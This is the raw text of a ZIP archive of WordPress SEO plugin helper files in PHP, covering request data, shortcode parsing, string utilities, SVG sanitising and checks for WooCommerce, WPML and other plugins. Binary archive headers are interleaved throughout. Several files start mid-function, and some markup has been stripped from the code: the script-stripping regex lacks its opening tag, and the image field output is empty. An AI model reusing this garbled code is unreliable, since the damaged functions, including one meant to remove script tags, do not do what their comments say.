'chunk-common.css' ) ) { // return false; } return true; } /** * Retrieve the proper URL for this script or style. * * @since 4.0.0 * * @param string $url The url. * @param bool $vue Whether or not this is a vue script. * @return string The modified url. */ public function getScriptUrl( $url, $vue = true ) { $version = strtoupper( aioseo()->versionPath ); $host = $vue && defined( 'AIOSEO_DEV_' . $version ) ? constant( 'AIOSEO_DEV_' . $version ) : false; $localUrl = $url; $url = plugins_url( 'dist/' . aioseo()->versionPath . '/assets/' . $url, AIOSEO_FILE ); if ( ! $host ) { return $url; } if ( $host && ! self::$connection ) { $splitHost = explode( ':', str_replace( '/', '', str_replace( 'http://', '', str_replace( 'https://', '', $host ) ) ) ); self::$connection = @fsockopen( $splitHost[0], $splitHost[1] ); // phpcs:ignore WordPress } if ( ! self::$connection ) { return $url; } return $host . $localUrl; } /** * Returns the filesystem object if we have access to it. * * @since 4.0.0 * * @param array $args The connection args. * @return \WP_Filesystem_Base|bool The filesystem object. */ public function wpfs( $args = [] ) { require_once ABSPATH . 'wp-admin/includes/file.php'; WP_Filesystem( $args ); global $wp_filesystem; if ( is_object( $wp_filesystem ) ) { return $wp_filesystem; } return false; } /** * Checks whether the current request is an AJAX, CRON or REST request. * * @since 4.1.9.1 * * @return bool Whether the current request is an AJAX, CRON or REST request. */ public function isAjaxCronRest() { return $this->isAjaxCronRestRequest(); } }PKÉ—[oC@ ää:all-in-one-seo-pack/app/Common/Traits/Helpers/Language.phpnu„[µü¤$feature ) ) { return false; } return $postType->$feature; } }PKÉ—[Í:ÏÏ9all-in-one-seo-pack/app/Common/Traits/Helpers/Request.phpnu„[µü¤getRequestServerName(); if ( isset( $_SERVER['SERVER_NAME'] ) ) { $host = wp_unslash( $_SERVER['SERVER_NAME'] ); // phpcs:ignore HM.Security.ValidatedSanitizedInput.InputNotSanitized } return $host; } /** * Get the request server name (from $_SERVER['HTTP_HOST]). * * @since 4.2.1 * * @return string The request server name. */ private function getRequestServerName() { $host = ''; if ( isset( $_SERVER['HTTP_HOST'] ) ) { $host = $_SERVER['HTTP_HOST']; } return $host; } /** * Retrieve the request URL. * * @since 4.2.1 * * @return string The request URL. */ public function getRequestUrl() { $url = ''; if ( isset( $_SERVER['REQUEST_URI'] ) ) { $url = $_SERVER['REQUEST_URI']; } return rawurldecode( stripslashes( $url ) ); } }PKÉ—[&åžùù<all-in-one-seo-pack/app/Common/Traits/Helpers/Shortcodes.phpnu„[µü¤ 'woocommerce_my_account', 'WooCommerce Checkout' => 'woocommerce_checkout', 'WooCommerce Order Tracking' => 'woocommerce_order_tracking', 'WooCommerce Cart' => 'woocommerce_cart', 'WooCommerce Registration' => 'wwp_registration_form', 'WISDM Group Registration' => 'wdm_group_users', 'WISDM Quiz Reporting' => 'wdm_quiz_statistics_details', 'WISDM Course Review' => 'rrf_course_review', 'Simple Membership Login' => 'swpm_login_form', 'Simple Membership Mini Login' => 'swpm_mini_login', 'Simple Membership Payment Button' => 'swpm_payment_button', 'Simple Membership Thank You Page' => 'swpm_thank_you_page_registration', 'Simple Membership Registration' => 'swpm_registration_form', 'Simple Membership Profile' => 'swpm_profile_form', 'Simple Membership Reset' => 'swpm_reset_form', 'Simple Membership Update Level' => 'swpm_update_level_to', 'Simple Membership Member Info' => 'swpm_show_member_info', 'Revslider' => 'rev_slider' ]; /** * Returns the content with shortcodes replaced. * * @since 4.0.5 * * @param string $content The post content. * @param bool $override Whether shortcodes should be parsed regardless of the context. Needed for ActionScheduler actions. * @param int $postId The post ID (optional). * @return string $content The post content with shortcodes replaced. */ public function doShortcodes( $content, $override = false, $postId = 0 ) { // NOTE: This is_admin() check can never be removed because themes like Avada will otherwise load the wrong post. if ( ! $override && is_admin() ) { return $content; } if ( ! wp_doing_cron() && ! wp_doing_ajax() ) { if ( ! $override && apply_filters( 'aioseo_disable_shortcode_parsing', false ) ) { return $content; } if ( ! $override && ! aioseo()->options->searchAppearance->advanced->runShortcodes ) { return $this->doAllowedShortcodes( $content, $postId ); } } $content = $this->doShortcodesHelper( $content, [], $postId ); return $content; } /** * Returns the content with only the allowed shortcodes and wildcards replaced. * * @since 4.1.2 * * @param string $content The content. * @param int $postId The post ID (optional). * @return string The content with shortcodes replaced. */ public function doAllowedShortcodes( $content, $postId = null ) { // Extract list of shortcodes from the post content. $tags = $this->getShortcodeTags( $content ); if ( ! count( $tags ) ) { return $content; } $allowedTags = apply_filters( 'aioseo_allowed_shortcode_tags', [] ); $tagsToRemove = array_diff( $tags, $allowedTags ); $content = $this->doShortcodesHelper( $content, $tagsToRemove, $postId ); return $content; } /** * Returns the content with only the allowed shortcodes and wildcards replaced. * * @since 4.1.2 * * @param string $content The content. * @param array $tagsToRemove The shortcode tags to remove (optional). * @param int $postId The post ID (optional). * @return string The content with shortcodes replaced. */ private function doShortcodesHelper( $content, $tagsToRemove = [], $postId = 0 ) { global $shortcode_tags; $conflictingShortcodes = array_merge( $tagsToRemove, $this->conflictingShortcodes ); $conflictingShortcodes = apply_filters( 'aioseo_conflicting_shortcodes', $conflictingShortcodes ); $tagsToRemove = []; foreach ( $conflictingShortcodes as $shortcode ) { $shortcodeTag = str_replace( [ '[', ']' ], '', $shortcode ); if ( array_key_exists( $shortcodeTag, $shortcode_tags ) ) { $tagsToRemove[ $shortcodeTag ] = $shortcode_tags[ $shortcodeTag ]; } } // Remove all conflicting shortcodes before parsing the content. foreach ( $tagsToRemove as $shortcodeTag => $shortcodeCallback ) { remove_shortcode( $shortcodeTag ); } if ( $postId ) { global $post; $post = get_post( $postId ); if ( is_a( $post, 'WP_Post' ) ) { // Add the current post to the loop so that shortcodes can use it if needed. setup_postdata( $post ); } } // Set a flag to indicate Divi that it's processing internal content. // https://github.com/awesomemotive/aioseo/issues/5099 $default = aioseo()->helpers->setDiviInternalRendering( true ); $content = do_shortcode( $content ); // Reset the Divi flag to its default value. aioseo()->helpers->setDiviInternalRendering( $default ); if ( $postId ) { wp_reset_postdata(); } // Add back shortcodes as remove_shortcode() disables them site-wide. foreach ( $tagsToRemove as $shortcodeTag => $shortcodeCallback ) { add_shortcode( $shortcodeTag, $shortcodeCallback ); } return $content; } /** * Extracts the shortcode tags from the content. * * @since 4.1.2 * * @param string $content The content. * @return array $tags The shortcode tags. */ private function getShortcodeTags( $content ) { $tags = []; $pattern = '\\[(\\[?)([^\s]*)(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*+(?:\\[(?!\\/\\2\\])[^\\[]*+)*+)\\[\\/\\2\\])?)(\\]?)'; if ( preg_match_all( "#$pattern#s", $content, $matches ) && array_key_exists( 2, $matches ) ) { $tags = array_unique( $matches[2] ); } if ( ! count( $tags ) ) { return $tags; } // Extract nested shortcodes. foreach ( $matches[5] as $innerContent ) { $tags = array_merge( $tags, $this->getShortcodeTags( $innerContent ) ); } return $tags; } }PKÉ—[¹ÛÃß@@9all-in-one-seo-pack/app/Common/Traits/Helpers/Strings.phpnu„[µü¤escapeRegexReplacement( $replacement ); $pregReplace[ $key ] = preg_replace( $pattern, $replacement, $subject ); return $pregReplace[ $key ]; } /** * Returns string after converting it to lowercase. * * @since 4.0.13 * * @param string $string The original string. * @return string The string converted to lowercase. */ public function toLowerCase( $string ) { static $lowerCased = []; if ( isset( $lowerCased[ $string ] ) ) { return $lowerCased[ $string ]; } $lowerCased[ $string ] = function_exists( 'mb_strtolower' ) ? mb_strtolower( $string, $this->getCharset() ) : strtolower( $string ); return $lowerCased[ $string ]; } /** * Returns the index of a substring in a string. * * @since 4.1.6 * * @param string $stack The stack. * @param string $needle The needle. * @param int $offset The offset. * @return int|bool The index where the string starts or false if it does not exist. */ public function stringIndex( $stack, $needle, $offset = 0 ) { $key = $stack . $needle . $offset; static $stringIndex = []; if ( isset( $stringIndex[ $key ] ) ) { return $stringIndex[ $key ]; } $stringIndex[ $key ] = function_exists( 'mb_strpos' ) ? mb_strpos( $stack, $needle, $offset, $this->getCharset() ) : strpos( $stack, $needle, $offset ); return $stringIndex[ $key ]; } /** * Checks if the given string contains the given substring. * * @since 4.1.0.2 * * @param string $stack The stack. * @param string $needle The needle. * @param int $offset The offset. * @return bool Whether the substring occurs in the main string. */ public function stringContains( $stack, $needle, $offset = 0 ) { $key = $stack . $needle . $offset; static $stringContains = []; if ( isset( $stringContains[ $key ] ) ) { return $stringContains[ $key ]; } $stringContains[ $key ] = false !== $this->stringIndex( $stack, $needle, $offset ); return $stringContains[ $key ]; } /** * Check if a string is JSON encoded or not. * * @since 4.1.2 * * @param mixed $string The string to check. * @return bool True if it is JSON or false if not. */ public function isJsonString( $string ) { if ( ! is_string( $string ) ) { return false; } json_decode( $string ); // Return a boolean whether or not the last error matches. return json_last_error() === JSON_ERROR_NONE; } /** * Strips punctuation from a given string. * * @since 4.0.0 * * @param string $string The string. * @param array $charactersToKeep The characters that can't be stripped (optional). * @return string The string without punctuation. */ public function stripPunctuation( $string, $charactersToKeep = [] ) { $characterRegexPattern = ''; if ( ! empty( $charactersToKeep ) ) { $characterString = implode( '', $charactersToKeep ); $characterRegexPattern = "(?![$characterString])"; } $string = aioseo()->helpers->decodeHtmlEntities( $string ); $string = preg_replace( "/{$characterRegexPattern}[\p{P}\d+]/u", '', $string ); $string = aioseo()->helpers->encodeOutputHtml( $string ); // Trim both internal and external whitespace. return preg_replace( '/\s\s+/u', ' ', trim( $string ) ); } /** * Returns the string after it is encoded with htmlspecialchars(). * * @since 4.0.0 * * @param string $string The string to encode. * @return string The encoded string. */ public function encodeOutputHtml( $string ) { return htmlspecialchars( $string, ENT_COMPAT | ENT_HTML401, $this->getCharset(), false ); } /** * Returns the string after all HTML entities have been decoded. * * @since 4.0.0 * * @param string $string The string to decode. * @return string The decoded string. */ public function decodeHtmlEntities( $string ) { static $decodeHtmlEntities = []; if ( isset( $decodeHtmlEntities[ $string ] ) ) { return $decodeHtmlEntities[ $string ]; } // We must manually decode non-breaking spaces since html_entity_decode doesn't do this. $string = $this->pregReplace( '/ /', ' ', $string ); $decodeHtmlEntities[ $string ] = html_entity_decode( (string) $string, ENT_QUOTES ); return $decodeHtmlEntities[ $string ]; } /** * Returns the string with script tags stripped. * * @since 4.0.0 * * @param string $string The string. * @return string The modified string. */ public function stripScriptTags( $string ) { static $stripScriptTags = []; if ( isset( $stripScriptTags[ $string ] ) ) { return $stripScriptTags[ $string ]; } $stripScriptTags[ $string ] = $this->pregReplace( '/(.*?)<\/script>/is', '', $string ); return $stripScriptTags[ $string ]; } /** * Returns the string with incomplete HTML tags stripped. * Incomplete tags are not unopened/unclosed pairs but rather single tags that aren't properly formed. * e.g. * * @since 4.1.6 * * @param string $string The string. * @return string The modified string. */ public function stripIncompleteHtmlTags( $string ) { static $stripIncompleteHtmlTags = []; if ( isset( $stripIncompleteHtmlTags[ $string ] ) ) { return $stripIncompleteHtmlTags[ $string ]; } $stripIncompleteHtmlTags[ $string ] = $this->pregReplace( '/(^(?!<).*?(\/>)|<[^>]*?(?!\/>)$)/is', '', $string ); return $stripIncompleteHtmlTags[ $string ]; } /** * Returns the given JSON formatted data tags as a comma separated list with their values instead. * * @since 4.1.0 * * @param string $tags The JSON formatted data tags. * @return string The comma separated values. */ public function jsonTagsToCommaSeparatedList( $tags ) { $tags = json_decode( $tags ); $values = []; foreach ( $tags as $k => $tag ) { $values[ $k ] = $tag->value; } return implode( ',', $values ); } /** * Returns the character length of the given string. * * @since 4.1.6 * * @param string $string The string. * @return int The string length. */ public function stringLength( $string ) { static $stringLength = []; if ( isset( $stringLength[ $string ] ) ) { return $stringLength[ $string ]; } $stringLength[ $string ] = function_exists( 'mb_strlen' ) ? mb_strlen( $string, $this->getCharset() ) : strlen( $string ); return $stringLength[ $string ]; } /** * Returns the word count of the given string. * * @since 4.1.6 * * @param string $string The string. * @return int The word count. */ public function stringWordCount( $string ) { static $stringWordCount = []; if ( isset( $stringWordCount[ $string ] ) ) { return $stringWordCount[ $string ]; } $stringWordCount[ $string ] = str_word_count( $string ); return $stringWordCount[ $string ]; } /** * Explodes the given string into an array. * * @since 4.1.6 * * @param string $delimiter The delimiter. * @param string $string The string. * @return array The exploded words. */ public function explode( $delimiter, $string ) { $key = $delimiter . $string; static $exploded = []; if ( isset( $exploded[ $key ] ) ) { return $exploded[ $key ]; } $exploded[ $key ] = explode( $delimiter, $string ); return $exploded[ $key ]; } /** * Implodes an array into a WHEREIN clause useable string. * * @since 4.1.6 * * @param array $array The array. * @param bool $outerQuotes Whether outer quotes should be added. * @return string The imploded array. */ public function implodeWhereIn( $array, $outerQuotes = false ) { // Reset the keys first in case there is no 0 index. $array = array_values( $array ); if ( ! isset( $array[0] ) ) { return ''; } if ( is_numeric( $array[0] ) ) { return implode( ', ', $array ); } return $outerQuotes ? "'" . implode( "', '", $array ) . "'" : implode( "', '", $array ); } /** * Returns an imploded string of placeholders for usage in a WPDB prepare statement. * * @since 4.1.9 * * @param array $array The array. * @param string $placeholder The placeholder (e.g. "%s" or "%d"). * @return string The imploded string with placeholders. */ public function implodePlaceholders( $array, $placeholder = '%s' ) { return implode( ', ', array_fill( 0, count( $array ), $placeholder ) ); } /** * Verifies that a string is indeed a valid regular expression. * * @since 4.2.1 * * @return boolean True if the string is a valid regular expression. */ public function isValidRegex( $pattern ) { // Set a custom error handler to prevent throwing errors on a bad Regular Expression. set_error_handler( function() {}, E_WARNING ); $isValid = true; if ( false === preg_match( $pattern, '' ) ) { $isValid = false; } // Restore the error handler. restore_error_handler(); return $isValid; } /** * Removes the leading slash(es) from a string. * * @since 4.2.3 * * @param string $string The string. * @return string The modified string. */ public function unleadingSlashIt( $string ) { return ltrim( $string, '/' ); } /** * Convert the case of the given string. * * @since 4.2.4 * * @param string $string The string. * @param string $type The casing ("lower", "title", "sentence"). * @return string The converted string. */ public function convertCase( $string, $type ) { switch ( $type ) { case 'lower': return strtolower( $string ); case 'title': return $this->toTitleCase( $string ); case 'sentence': return $this->toSentenceCase( $string ); default: return $string; } } /** * Converts the given string to title case. * * @since 4.2.4 * * @param string $string The string. * @return string The converted string. */ public function toTitleCase( $string ) { // List of common English words that aren't typically modified. $exceptions = apply_filters( 'aioseo_title_case_exceptions', [ 'of', 'a', 'the', 'and', 'an', 'or', 'nor', 'but', 'is', 'if', 'then', 'else', 'when', 'at', 'from', 'by', 'on', 'off', 'for', 'in', 'out', 'over', 'to', 'into', 'with' ] ); $words = explode( ' ', strtolower( $string ) ); foreach ( $words as $k => $word ) { if ( ! in_array( $word, $exceptions, true ) ) { $words[ $k ] = ucfirst( $word ); } } $string = implode( ' ', $words ); return $string; } /** * Converts the given string to sentence case. * * @since 4.2.4 * * @param string $string The string. * @return string The converted string. */ public function toSentenceCase( $string ) { $phrases = preg_split( '/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE ); $convertedString = ''; foreach ( $phrases as $index => $sentence ) { $convertedString .= ( $index & 1 ) === 0 ? ucfirst( strtolower( trim( $sentence ) ) ) : $sentence . ' '; } return trim( $convertedString ); } /** * Returns the substring with a given start index and length. * * @since 4.2.5 * * @param string $string The string. * @param int $startIndex The start index. * @param int $length The length. * @return string The substring. */ public function substring( $string, $startIndex, $length ) { return function_exists( 'mb_substr' ) ? mb_substr( $string, $startIndex, $length, $this->getCharset() ) : substr( $string, $startIndex, $length ); } }PKÉ—[±ßÐ/5all-in-one-seo-pack/app/Common/Traits/Helpers/Svg.phpnu„[µü¤ [ 'class' => true, 'aria-hidden' => true, 'aria-labelledby' => true, 'role' => true, 'xmlns' => true, 'width' => true, 'height' => true, 'viewbox' => true, // <= Must be lower case! ], 'g' => [ 'fill' => true ], 'title' => [ 'title' => true ], 'path' => [ 'd' => true, 'fill' => true, ] ]; return wp_kses( $svgString, array_merge( $ksesDefaults, $svgArgs ) ); } }PKÉ—[}…>‡ÑFÑF<all-in-one-seo-pack/app/Common/Traits/Helpers/ThirdParty.phpnu„[µü¤isWooCommerceActive() ) { return false; } $postId = $postId ? $postId : get_the_ID(); static $cartPageId; if ( ! $cartPageId ) { $cartPageId = (int) get_option( 'woocommerce_cart_page_id' ); } static $checkoutPageId; if ( ! $checkoutPageId ) { $checkoutPageId = (int) get_option( 'woocommerce_checkout_page_id' ); } static $myAccountPageId; if ( ! $myAccountPageId ) { $myAccountPageId = (int) get_option( 'woocommerce_myaccount_page_id' ); } static $termsPageId; if ( ! $termsPageId ) { $termsPageId = (int) get_option( 'woocommerce_terms_page_id' ); } switch ( $postId ) { case $cartPageId: return 'cart'; case $checkoutPageId: return 'checkout'; case $myAccountPageId: return 'myAccount'; case $termsPageId: return 'terms'; default: return false; } } /** * Checks whether the current page is a special WooCommerce page we shouldn't show our schema settings for. * * @since 4.1.6 * * @param int $postId The post ID. * @return bool Whether the current page is a disallowed WooCommerce page. */ public function isWooCommercePageWithoutSchema( $postId = 0 ) { $page = $this->isWooCommercePage( $postId ); if ( ! $page ) { return false; } $disallowedPages = [ 'cart', 'checkout', 'myAccount' ]; return in_array( $page, $disallowedPages, true ); } /** * Checks whether the queried object is the WooCommerce shop page. * * @since 4.0.0 * * @param int $id The post ID to check against (optional). * @return bool Whether the current page is the WooCommerce shop page. */ public function isWooCommerceShopPage( $id = 0 ) { if ( ! $this->isWooCommerceActive() ) { return false; } if ( ! is_admin() && ! aioseo()->helpers->isAjaxCronRestRequest() && function_exists( 'is_shop' ) ) { return is_shop(); } $id = ! $id && ! empty( $_GET['post'] ) ? (int) wp_unslash( $_GET['post'] ) : (int) $id; // phpcs:ignore HM.Security.ValidatedSanitizedInput, HM.Security.NonceVerification.Recommended return $id && wc_get_page_id( 'shop' ) === $id; } /** * Checks whether the queried object is the WooCommerce cart page. * * @since 4.1.3 * * @param int $id The post ID to check against (optional). * @return bool Whether the current page is the WooCommerce cart page. */ public function isWooCommerceCartPage( $id = 0 ) { if ( ! $this->isWooCommerceActive() ) { return false; } if ( ! is_admin() && ! aioseo()->helpers->isAjaxCronRestRequest() && function_exists( 'is_cart' ) ) { return is_cart(); } $id = ! $id && ! empty( $_GET['post'] ) ? (int) wp_unslash( $_GET['post'] ) : (int) $id; // phpcs:ignore HM.Security.ValidatedSanitizedInput, HM.Security.NonceVerification.Recommended return $id && wc_get_page_id( 'cart' ) === $id; } /** * Checks whether the queried object is the WooCommerce checkout page. * * @since 4.1.3 * * @param int $id The post ID to check against (optional). * @return bool Whether the current page is the WooCommerce checkout page. */ public function isWooCommerceCheckoutPage( $id = 0 ) { if ( ! $this->isWooCommerceActive() ) { return false; } if ( ! is_admin() && ! aioseo()->helpers->isAjaxCronRestRequest() && function_exists( 'is_checkout' ) ) { return is_checkout(); } $id = ! $id && ! empty( $_GET['post'] ) ? (int) wp_unslash( $_GET['post'] ) : (int) $id; // phpcs:ignore HM.Security.ValidatedSanitizedInput, HM.Security.NonceVerification.Recommended return $id && wc_get_page_id( 'checkout' ) === $id; } /** * Checks whether the queried object is the WooCommerce account page. * * @since 4.1.3 * * @param int $id The post ID to check against (optional). * @return bool Whether the current page is the WooCommerce account page. */ public function isWooCommerceAccountPage( $id = 0 ) { if ( ! $this->isWooCommerceActive() ) { return false; } if ( ! is_admin() && ! aioseo()->helpers->isAjaxCronRestRequest() && function_exists( 'is_account_page' ) ) { return is_account_page(); } $id = ! $id && ! empty( $_GET['post'] ) ? (int) wp_unslash( $_GET['post'] ) : (int) $id; // phpcs:ignore HM.Security.ValidatedSanitizedInput, HM.Security.NonceVerification.Recommended return $id && wc_get_page_id( 'myaccount' ) === $id; } /** * Checks whether the queried object is a WooCommerce product page. * * @since 4.5.5 * * @return bool Whether the current page is a WooCommerce product page. */ public function isWooCommerceProductPage() { if ( ! $this->isWooCommerceActive() || ! function_exists( 'is_product' ) ) { return false; } return is_product(); } /** * Checks whether the queried object is a WooCommerce taxonomy page. * * @since 4.5.5 * * @return bool Whether the current page is a WooCommerce taxonomy page. */ public function isWooCommerceTaxonomyPage() { if ( ! $this->isWooCommerceActive() || ! function_exists( 'is_product_taxonomy' ) ) { return false; } return is_product_taxonomy(); } /** * Internationalize. * * @since 4.0.0 * * @param $in * @return mixed|void */ public function internationalize( $in ) { if ( function_exists( 'langswitch_filter_langs_with_message' ) ) { $in = langswitch_filter_langs_with_message( $in ); } if ( function_exists( 'polyglot_filter' ) ) { $in = polyglot_filter( $in ); } if ( function_exists( 'qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage' ) ) { $in = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage( $in ); } elseif ( function_exists( 'ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage' ) ) { $in = ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage( $in ); } elseif ( function_exists( 'qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage' ) ) { $in = qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage( $in ); } return apply_filters( 'localization', $in ); } /** * Checks if WPML is active. * * @since 4.0.0 * * @return bool True if it is, false if not. */ public function isWpmlActive() { return class_exists( 'SitePress' ); } /** * Localizes a given URL. * * This is required for compatibility with WPML. * * @since 4.0.0 * * @param string $path The relative path of the URL. * @return string $url The filtered URL. */ public function localizedUrl( $path ) { $url = apply_filters( 'wpml_home_url', home_url( '/' ) ); // Remove URL parameters. preg_match_all( '/\?[\s\S]+/', $url, $matches ); // Get the base URL. $url = preg_replace( '/\?[\s\S]+/', '', $url ); $url = trailingslashit( $url ); $url .= preg_replace( '/\//', '', $path, 1 ); // Readd URL parameters. if ( $matches && $matches[0] ) { $url .= $matches[0][0]; } return $url; } /** * Checks whether BuddyPress is active. * * @since 4.0.0 * * @return boolean */ public function isBuddyPressActive() { return class_exists( 'BuddyPress' ); } /** * Checks whether the queried object is a buddy press user page. * * @since 4.0.0 * * @return boolean */ public function isBuddyPressUser() { return $this->isBuddyPressActive() && function_exists( 'bp_is_user' ) && bp_is_user(); } /** * Returns if the page is a BuddyPress page (Activity, Members, Groups). * * @since 4.0.0 * * @param int $postId The post ID. * @return bool If the page is a BuddyPress page or not. */ public function isBuddyPressPage( $postId = 0 ) { $bpPages = get_option( 'bp-pages' ); if ( empty( $bpPages ) ) { return false; } foreach ( $bpPages as $page ) { if ( (int) $page === (int) $postId ) { return true; } } return false; } /** * Check if is a BBpress post type. * * @since 4.2.8 * * @param string $postType The post type to check. * @return bool Whether this is a bbPress post type. */ public function isBBPressPostType( $postType ) { if ( ! class_exists( 'bbPress' ) ) { return false; } $bbPressPostTypes = [ 'forum', 'topic', 'reply' ]; return in_array( $postType, $bbPressPostTypes, true ); } /** * Returns ACF fields as an array of meta keys and values. * * @since 4.0.6 * * @param \WP_Post|int $post The post. * @param array $types A whitelist of ACF field types. * @return array An array of meta keys and values. */ public function getAcfContent( $post = null, $types = [] ) { $post = ( $post && is_object( $post ) ) ? $post : $this->getPost( $post ); if ( ! class_exists( 'ACF' ) || ! function_exists( 'get_field_objects' ) ) { return []; } if ( defined( 'ACF_VERSION' ) && version_compare( ACF_VERSION, '5.7.0', '<' ) ) { return []; } // Set defaults. $allowedTypes = [ 'text', 'textarea', 'email', 'url', 'wysiwyg', 'image', 'gallery', 'link', // 'taxonomy', ]; $types = wp_parse_args( $types, $allowedTypes ); $fieldObjects = get_field_objects( $post->ID ); if ( empty( $fieldObjects ) ) { return []; } // Filter out any fields that are not in our allowed types. $fields = array_filter( $fieldObjects, function( $object ) use ( $types ) { return ! empty( $object['value'] ) && in_array( $object['type'], $types, true ); }); // Create an array with the field names and values with added HTML markup. $acfFields = []; foreach ( $fields as $field ) { switch ( $field['type'] ) { case 'url': $value = make_clickable( $field['value'] ?? '' ); break; case 'image': // Image format options are array, URL (string), id (int). $imageUrl = is_array( $field['value'] ) ? $field['value']['url'] : $field['value']; $imageUrl = is_numeric( $imageUrl ) ? wp_get_attachment_image_url( $imageUrl ) : $imageUrl; $value = ""; break; case 'gallery': $imageUrl = $field['value']; // The value of a gallery field should always be an array. if ( is_array( $imageUrl ) ) { $imageUrl = current( $imageUrl ); } // Image array format. if ( is_array( $imageUrl ) && ! empty( $imageUrl['url'] ) ) { $imageUrl = $imageUrl['url']; } // Image ID format. $imageUrl = is_numeric( $imageUrl ) ? wp_get_attachment_image_url( $imageUrl ) : $imageUrl; $value = ! empty( $imageUrl ) ? "" : ''; break; case 'link': $value = make_clickable( $field['value']['url'] ?? $field['value'] ?? '' ); break; default: $value = $field['value']; break; } if ( $value ) { $acfFields[ $field['name'] ] = $value; } } return $acfFields; } /** * Checks whether the Smash Balloon Custom Facebook Feed plugin is active. * * @since 4.2.0 * * @return bool Whether the SB CFF plugin is active. */ public function isSbCustomFacebookFeedActive() { static $isActive = null; if ( null !== $isActive ) { return $isActive; } $isActive = defined( 'CFFVER' ) || is_plugin_active( 'custom-facebook-feed/custom-facebook-feed.php' ); return $isActive; } /** * Returns the access token for Facebook from Smash Balloon if there is one. * * @since 4.2.0 * * @return string|false The access token or false if there is none. */ public function getSbAccessToken() { static $accessToken = null; if ( null !== $accessToken ) { return $accessToken; } if ( ! $this->isSbCustomFacebookFeedActive() ) { $accessToken = false; return $accessToken; } $oembedTokenData = get_option( 'cff_oembed_token', [] ); if ( ! $oembedTokenData || empty( $oembedTokenData['access_token'] ) ) { $accessToken = false; return $accessToken; } $sbFacebookDataEncryptionInstance = new \CustomFacebookFeed\SB_Facebook_Data_Encryption(); $accessToken = $sbFacebookDataEncryptionInstance->maybe_decrypt( $oembedTokenData['access_token'] ); return $accessToken; } /** * Returns the homepage URL for a language code. * * @since 4.2.1 * * @param string|int $identifier The language code or the post id to return the url. * @return string The home URL. */ public function wpmlHomeUrl( $identifier ) { foreach ( $this->wpmlHomePages() as $langCode => $wpmlHomePage ) { if ( ( is_string( $identifier ) && $langCode === $identifier ) || ( is_numeric( $identifier ) && $wpmlHomePage['id'] === $identifier ) ) { return $wpmlHomePage['url']; } } return ''; } /** * Returns the homepage IDs. * * @since 4.2.1 * * @return array An array of home page ids. */ public function wpmlHomePages() { global $sitepress; static $homePages = []; if ( ! $this->isWpmlActive() || empty( $sitepress ) || ! method_exists( $sitepress, 'language_url' ) ) { return $homePages; } if ( empty( $homePages ) ) { $languages = apply_filters( 'wpml_active_languages', [] ); $homePageId = (int) get_option( 'page_on_front' ); foreach ( $languages as $language ) { $homePages[ $language['code'] ] = [ 'id' => apply_filters( 'wpml_object_id', $homePageId, 'page', false, $language['code'] ), 'url' => $sitepress->language_url( $language['code'] ) ]; } } return $homePages; } /** * Returns if the post id os a WPML home page. * * @since 4.2.1 * * @param int $postId The post ID. * @return bool Is the post id a home page. */ public function wpmlIsHomePage( $postId ) { foreach ( $this->wpmlHomePages() as $wpmlHomePage ) { if ( $wpmlHomePage['id'] === $postId ) { return true; } } return false; } /** * Returns the WPML url format. * * @since 4.2.8 * * @return string The format. */ public function getWpmlUrlFormat() { global $sitepress; if ( ! $this->isWpmlActive() || empty( $sitepress ) || ! method_exists( $sitepress, 'get_setting' ) ) { return ''; } switch ( $sitepress->get_setting( 'language_negotiation_type' ) ) { case WPML_LANGUAGE_NEGOTIATION_TYPE_DIRECTORY: case 1: return 'directory'; case WPML_LANGUAGE_NEGOTIATION_TYPE_DOMAIN: case 2: return 'domain'; case WPML_LANGUAGE_NEGOTIATION_TYPE_PARAMETER: case 3: return 'parameter'; default: return ''; } } /** * Checks whether the WooCommerce Follow Up Emails plugin is active. * * @since 4.2.2 * * @return bool Whether the plugin is active. */ public function isWooCommerceFollowupEmailsActive() { $isActive = defined( 'FUE_VERSION' ) || is_plugin_active( 'woocommerce-follow-up-emails/woocommerce-follow-up-emails.php' ); return $isActive; } /** * Checks if the current page is an AMP page. * * @since 4.2.3 * * @param string $pluginName The name of the AMP plugin to check for (optional). * @return bool Whether the current page is an AMP page. */ public function isAmpPage( $pluginName = '' ) { // Official AMP plugin. if ( 'amp' === $pluginName ) { // If we're checking for the AMP page plugin specifically, return early if it's not active. // Otherwise, we'll return true if AMP for WP is enabled because the helper method doesn't distinguish between the two. if ( ! defined( 'AMP__VERSION' ) ) { return false; } $options = get_option( 'amp-options' ); if ( ! empty( $options['theme_support'] ) && 'standard' === strtolower( $options['theme_support'] ) ) { return true; } } return $this->isAmpPageHelper(); } /** * Checks if the current page is an AMP page. * Helper function for isAmpPage(). Contains common logic that applies to both AMP and AMP for WP. * * @since 4.2.4 * * @return bool Whether the current page is an AMP page. */ private function isAmpPageHelper() { // Check if the AMP or AMP for WP plugin is active. if ( ! function_exists( 'is_amp_endpoint' ) ) { return false; } global $wp; // This URL param is set when using plain permalinks. return isset( $_GET['amp'] ) || preg_match( '/amp$/', untrailingslashit( $wp->request ) ); // phpcs:ignore HM.Security.NonceVerification.Recommended } /** * If we're in a LearnPress lesson page, return the lesson ID. * * @since 4.3.1 * * @return int|false */ public function getLearnPressLesson() { global $lp_course_item; if ( $lp_course_item && method_exists( $lp_course_item, 'get_id' ) ) { return $lp_course_item->get_id(); } return false; } /** * Set a flag to indicate Divi whether it is processing internal content or not. * * @since 4.4.3 * * @param null|bool $flag The flag value. * @return null|bool The previous flag value to reset it later. */ public function setDiviInternalRendering( $flag ) { if ( ! defined( 'ET_BUILDER_VERSION' ) ) { return null; } global $et_pb_rendering_column_content; $originalValue = $et_pb_rendering_column_content; $et_pb_rendering_column_content = $flag; return $originalValue; } /** * Checks whether the current request is being done by a crawler from Yandex. * * @since 4.4.0 * * @return bool Whether the current request is being done by a crawler from Yandex. */ public function isYandexUserAgent() { if ( ! isset( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } return preg_match( '#.*Yandex.*#', $_SERVER['HTTP_USER_AGENT'] ); } }PKÉ—[&3  5all-in-one-seo-pack/app/Common/Traits/Helpers/Url.phpnu„[µü¤buildUrl( $url ); } 